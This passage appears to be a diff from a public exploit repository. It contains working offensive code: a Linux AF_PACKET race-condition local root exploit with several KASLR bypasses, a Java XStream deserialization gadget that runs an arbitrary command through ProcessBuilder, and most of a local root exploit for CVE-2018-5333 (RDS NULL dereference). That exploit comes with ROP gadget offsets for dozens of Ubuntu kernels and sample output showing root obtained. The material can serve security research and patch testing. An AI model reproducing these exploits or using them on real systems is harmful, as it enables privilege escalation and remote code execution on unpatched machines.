while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define PROC_CPUINFO_LENGTH 4096
void check_env() {
int min_procs = 2;
int nprocs = 0;
@@ -559,7 +601,24 @@ void check_procs() {
exit(EXIT_FAILURE);
}
dprintf("[.] system has %d processor cores\n", nprocs);
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s): %m\n", path);
exit(EXIT_FAILURE);
}
char* found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
struct stat st;
if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
}
}
struct utsname get_kernel_version() {
@@ -573,10 +632,11 @@ struct utsname get_kernel_version() {
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_SIZE_BUFFER 512
void detect_versions() {
struct utsname u;
char kernel_version[512];
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
u = get_kernel_version();
@@ -591,7 +651,7 @@ void detect_versions() {
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
@@ -607,15 +667,17 @@ void detect_versions() {
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
#if ENABLE_KASLR_BYPASS_SYSLOG
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
int mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
return 0;
}
*size = (*size / getpagesize() + 1) * getpagesize();
@@ -625,16 +687,17 @@ bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
return 0;
}
return true;
return 1;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
if (substr == NULL)
return 0;
int start = 0;
int end = 0;
@@ -642,22 +705,25 @@ unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
if (substr == NULL)
return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
unsigned long addr = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
addr &= 0xffffffffff000000ul;
return r;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
if (substr == NULL)
return 0;
}
int start = 0;
int end = 0;
@@ -666,17 +732,19 @@ unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
if (substr == NULL)
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
unsigned long addr = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
addr &= 0xfffffffffff00000ul;
addr -= 0x1000000ul;
return r;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_syslog() {
@@ -699,9 +767,12 @@ unsigned long get_kernel_addr_syslog() {
return addr;
}
#endif
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt
#if ENABLE_KASLR_BYPASS_KALLSYMS
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
@@ -713,7 +784,7 @@ unsigned long get_kernel_addr_kallsyms() {
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}
@@ -734,58 +805,23 @@ unsigned long get_kernel_addr_kallsyms() {
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
#if ENABLE_KASLR_BYPASS_MINCORE
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned char buf[getpagesize() / sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap(): %m\n");
return 0;
}
@@ -793,46 +829,50 @@ unsigned long get_kernel_addr_mincore() {
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
dprintf("[-] mincore(): %m\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] munmap(): %m\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] munmap(): %m\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
#endif
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
#if ENABLE_KASLR_BYPASS_KALLSYMS
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
#endif
addr = get_kernel_addr_sysmap();
if (addr) return addr;
#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_MINCORE
addr = get_kernel_addr_mincore();
if (addr) return addr;
#endif
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
@@ -851,7 +891,7 @@ void launch_rootshell(void)
fd = open(SYSCTL_PATH, O_WRONLY);
if(fd == -1) {
dprintf("[-] could not open %s\n", SYSCTL_PATH);
dprintf("[-] open(%s): %m\n", SYSCTL_PATH);
exit(EXIT_FAILURE);
}
@@ -877,12 +917,12 @@ void launch_rootshell(void)
void setup_sandbox() {
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
dprintf("[-] unshare(CLONE_NEWUSER): %m\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET)\n");
dprintf("[-] unshare(CLONE_NEWNET): %m\n");
exit(EXIT_FAILURE);
}
}
@@ -890,8 +930,6 @@ void setup_sandbox() {
int main(int argc, char **argv)
{
int status, pid;
struct utsname u;
char buf[512], *f;
if (getuid() == 0 && geteuid() == 0) {
chown("/proc/self/exe", 0, 0);
@@ -908,11 +946,11 @@ int main(int argc, char **argv)
dprintf("linux AF_PACKET race condition exploit by rebel\n");
dprintf("[.] starting\n");
dprintf("[.] checking hardware\n");
check_procs();
dprintf("[~] done, hardware looks good\n");
#if ENABLE_SYSTEM_CHECKS
dprintf("[.] checking system\n");
check_env();
dprintf("[~] done, looks good\n");
#endif
dprintf("[.] checking kernel version\n");
detect_versions();
+54
View File
@@ -0,0 +1,54 @@
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<%=payload_cmd%>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
+883
View File
@@ -0,0 +1,883 @@
// Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference
// in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333).
//
// Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass.
//
// Targets:
// - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116
// - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54
//
// The rds kernel module is not loaded by default on Ubuntu, and is blacklisted
// in /etc/modprobe.d/blacklist-rare-network.conf to prevent autoloading.
// - install: sudo apt install "linux-image-extra-$(uname -r)-generic"
// - load: sudo insmod "/lib/modules/$(uname -r)/kernel/net/rds/rds.ko"
//
// This exploit is a modified extension of the original local root
// proof of concept exploit written by wbowling as an example of using
// CVE-2019-9213 to make previous kernel bugs exploitable:
// - https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4
//
// The original exploit is based on the null pointer dereference
// reproducer proof of concept and analysis by 0x36:
// - https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
//
// wbowling has done most of the hard work, by utilising Jann Horn's
// mmap_min_addr bypass technique (CVE-2019-9213), allowing userland to mmap
// virtual address 0 (without which this bug would not be exploitable on
// systems with a sufficiently large value for vm.mmap_min_addr);
// and developing the appropriate ROP chain.
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
//
// This exploit adds offsets for additional kernels, and introduces some
// additional features, such as KASLR bypasses and system checks, including:
// - check if system supports SMAP
// - check if system supports RDS sockets
// - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994)
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
// - https://grsecurity.net/~spender/exploits/exploit.txt
// - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0)
// - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
// - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2)
// - https://blog.lizzie.io/kaslr-and-perf.html
//
// Shoutout to nstarke for adding additional kernel offsets.
// - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333
//
// This exploit also uses various code patterns copied from:
// - xairy's exploits:
// - https://github.com/xairy/kernel-exploits
// - vnik's kernel ROP code:
// - https://github.com/vnik5287/kernel_rop
// ---
// $ gcc cve-2018-5333.c -o cve-2018-5333 -Wall
// $ ./cve-2018-5333
// Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)
// [.] checking kernel version...
// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
// [~] done, version looks good
// [.] checking system...
// [~] done, looks good
// [.] mapping null address...
// [~] done, mapped null address
// [.] KASLR bypass enabled, getting kernel base address
// [.] trying /proc/kallsyms...
// [-] kernel base not found in /proc/kallsyms
// [.] trying syslog...
// [-] kernel base not found in syslog
// [.] trying perf_event_open sampling...
// [.] done, kernel text: ffffffff9f000000
// [.] commit_creds: ffffffff9f0a4cf0
// [.] prepare_kernel_cred: ffffffff9f0a50e0
// [.] mmapping fake stack...
// [~] done, fake stack mmapped
// [.] executing payload 0x402119...
// [+] got root
// # id
// uid=0(root) gid=0(root) groups=0(root)
// ---
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-5333
// <bcoles@gmail.com>
#define _GNU_SOURCE
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/perf_event.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/utsname.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_SYSTEM_CHECKS 1
#define ENABLE_KASLR_BYPASS 1
#if ENABLE_KASLR_BYPASS
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_PERF 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
#endif
// Can be overwritten by argv[1]
char *SHELL = "/bin/sh";
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions().
int kernel = -1;
// kernel target struct, using ROP chain from wbowling's exploit
struct kernel_info {
const char* kernel_version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xor_rdi; //: xor edi, edi ; ret
uint64_t mov_rdi_rax; //: mov rdi, rax ; pop rbx ; mov rax, rdi ; pop r12 ; pop rbp ; ret
uint64_t xchg_esp; //: xchg eax, esp ; shr bl, 0xbf ; xor eax, eax ; pop rbp ; ret
uint64_t swapgs; //: swapgs ; pop rbp ; ret
uint64_t iretq; //: iretq
};
// Targets
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37-Ubuntu", 0xa21c0, 0xa25b0, 0x5d0c5, 0x178157, 0x3f8158, 0x64644, 0x4cc7da },
{ "4.4.0-22-generic #40-Ubuntu", 0xa2220, 0xa2610, 0x5d0c5, 0x178217, 0x3f89e8, 0x64644, 0x7d005 },
{ "4.4.0-24-generic #43-Ubuntu", 0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125 },
{ "4.4.0-28-generic #47-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc },
{ "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 },
{ "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 },
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
{ "4.4.0-98-generic #121-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243 },
{ "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
{ "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
/* Untested:
{ "4.4.0-51-generic #72-Ubuntu", 0xa2670, 0xa2a60, 0x5d0c5, 0x178cf7, 0x404d78, 0x64634, 0x7d1a5 },
{ "4.4.0-62-generic #83-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179747, 0x406a78, 0x64634, 0x7d1e5 },
{ "4.4.0-63-generic #84-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
{ "4.4.0-66-generic #87-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
{ "4.4.0-70-generic #91-Ubuntu", 0xa27b0, 0xa2ba0, 0x5d0c5, 0x179847, 0x4070c8, 0x64664, 0x406eb },
{ "4.4.0-79-generic #100-Ubuntu", 0xa2800, 0xa2bf0, 0x5d0c5, 0x179a67, 0x408338, 0x64664, 0x7d235 },
{ "4.4.0-87-generic #110-Ubuntu", 0xa2860, 0xa2c50, 0x5d0c5, 0x179ca7, 0x408768, 0x64694, 0x7d285 },
{ "4.4.0-89-generic #112-Ubuntu", 0xa28a0, 0xa2c90, 0x5d0c5, 0x179d27, 0x408ae8, 0x64694, 0x7d265 },
{ "4.4.0-96-generic #119-Ubuntu", 0xa28c0, 0xa2cb0, 0x5d0c5, 0x179e27, 0x409a48, 0x64694, 0x7d235 },
{ "4.4.0-97-generic #120-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x179e47, 0x409a58, 0x64694, 0x4ed41 },
*/
{ "4.4.0-21-lowlatency #37-Ubuntu", 0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c },
{ "4.4.0-22-lowlatency #40-Ubuntu", 0xa31c0, 0xa35d0, 0x5e0c5, 0x17b397, 0x401b48, 0x64d34, 0x7d9bc },
{ "4.4.0-24-lowlatency #43-Ubuntu", 0xa32e0, 0xa36f0, 0x5e0c5, 0x17b5e7, 0x402958, 0x64d34, 0x7dadc },
{ "4.4.0-28-lowlatency #47-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b8c7, 0x402f48, 0x64d34, 0x7dadc },
//{ "4.4.0-31-lowlatency #50-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409018, 0x64d34, 0x7dadc },
//{ "4.4.0-34-lowlatency #53-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409088, 0x64d34, 0x7dadc },
{ "4.4.0-36-lowlatency #55-Ubuntu", 0xa3430, 0xa3840, 0x5e0c5, 0x17b9e7, 0x409318, 0x64d24, 0x7dacc },
{ "4.4.0-38-lowlatency #57-Ubuntu", 0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 },
{ "4.4.0-42-lowlatency #62-Ubuntu", 0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c },
{ "4.4.0-98-lowlatency #121-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d737, 0x413408, 0x64d84, 0x24454 },
{ "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
{ "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc },
{ "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },
{ "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
{ "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
{ "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
{ "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
{ "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dea8, 0x642f4, 0x5c4f3 },
{ "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
{ "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
{ "4.8.0-46-generic #49~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
{ "4.8.0-49-generic #52~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
{ "4.8.0-51-generic #54~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
{ "4.8.0-52-generic #55~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
{ "4.8.0-53-generic #56~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
{ "4.8.0-54-generic #57~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
//{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
//{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },
{ "4.8.0-34-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
{ "4.8.0-36-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
//{ "4.8.0-39-lowlatency #42~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
{ "4.8.0-41-lowlatency #44~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
{ "4.8.0-42-lowlatency #45~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447428, 0x649f4, 0x4b3e3 },
{ "4.8.0-44-lowlatency #47~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
{ "4.8.0-45-lowlatency #48~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
{ "4.8.0-46-lowlatency #49~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
{ "4.8.0-49-lowlatency #52~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
{ "4.8.0-51-lowlatency #54~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
{ "4.8.0-52-lowlatency #55~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
{ "4.8.0-53-lowlatency #56~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
{ "4.8.0-54-lowlatency #57~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x7f912 },
//{ "4.8.0-56-lowlatency #61~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477f8, 0x649f4, 0x7f912 },
//{ "4.8.0-58-lowlatency #63~16.04.1-Ubuntu", 0xa6ef0, 0xa7300, 0x5e0c5, 0x18aee7, 0x447568, 0x649f4, 0x7f932 },
//{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
//{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
//{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
};
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
// https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
#define RAND_SIZE 4096
#ifndef SOL_RDS
# define SOL_RDS 276
#endif
#ifndef RDS_CMSG_MASKED_ATOMIC_CSWP
# define RDS_CMSG_MASKED_ATOMIC_CSWP 9
#endif
#ifndef AF_RDS
# define AF_RDS 0x15
#endif
void trigger_bug()
{
struct sockaddr_in sin;
struct msghdr msg;
char buf[RAND_SIZE];
struct cmsghdr cmsg;
memset(&sin, 0, sizeof(struct sockaddr));
memset(&msg, 0, sizeof(msg));
memset(buf, 0x40, sizeof(buf));
memset(&cmsg, 0, sizeof(cmsg));
int fd = socket(AF_RDS, 5, 0);
if(fd < 0) {
dprintf("[-] socket(AF_RDS): %m\n");
return;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(2000);
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(fd, (struct sockaddr*)&sin, sizeof(sin));
cmsg.cmsg_len = RAND_SIZE;
cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP;
cmsg.cmsg_level = SOL_RDS;
memcpy(&buf[0], &cmsg, sizeof(cmsg));
*(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */
msg.msg_name = &sin;
msg.msg_namelen = sizeof(sin);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = buf;
msg.msg_controllen = RAND_SIZE;
msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;
sendmsg(fd, &msg, 0);
}
// * * * * * * * * * * * * * * map null address * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
void map_null() {
void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED) {
dprintf("[-] mmap(null): %m\n");
exit(EXIT_FAILURE);
}
